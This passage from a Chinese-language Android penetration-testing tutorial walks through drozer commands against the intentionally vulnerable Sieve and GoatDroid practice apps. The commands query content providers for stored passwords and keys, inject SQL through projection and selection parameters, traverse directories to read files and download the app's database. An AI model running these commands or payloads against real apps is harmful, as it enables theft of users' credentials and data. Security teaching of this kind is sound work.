dz> run scanner.provider.finduris -a com.mwr.example.sieve
Able to Query可查询数据
8、ContentProvider攻击
1 2 3
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/ 或 dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
如上数据泄露
8.1、SQL注入
Android使用SQLite来存储数据,也可能造成SQL注入漏洞。
1 2
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection"'" //提交单引号测试(如下报错) unrecognized token: "' FROM Passwords" (code 1): , while compiling: SELECT' FROM Passwords
1 2
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'" unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (')
1 2
列出数据库中所有表及相关结构信息 dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';–"
1 2
查询其他表 dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;–"
8.2、目录遍历
1 2
//检测存在目录遍历 dz> run scanner.provider.traversal -a com.mwr.example.sieve
8.3、读取敏感信息
1 2
//读取手机内信息 run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
1 2
//下载文件到本地 run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/databases/database.db ./database.db
//自动检测SQL注入 dz> run scanner.provider.injection -a com.mwr.example.sieve
1 2
//自动检测目录遍历 dz> run scanner.provider.traversal -a com.mwr.example.sieve
9、Services
一个 Service 是没有界面且能长时间运行于后台的应用组件,其它应用的组件可以启动一个服务运行于后台,即使用户切换到另一个应用也会继续运行;另外,一个组件可以绑定到一 个service来进行交互,即使这个交互是进程间通讯也没问题.例如,一个 service 可能处理网络事物,播放音乐,执行文件 I/O,或与一个内容提供者交互,所有这些都在后台进行。
1 2
//检测service dz> run app.service.start --action com.mwr.example.sieve.AuthService
10、Broadcast
1 2
//检测Broadcast组件 dz> run app.broadcast.info -a org.owasp.goatdroid.fourgoats
(APK未加壳直接反编译获取指定参数)
源代码参数phoneNumber和massage,会发送Your text message has been sent!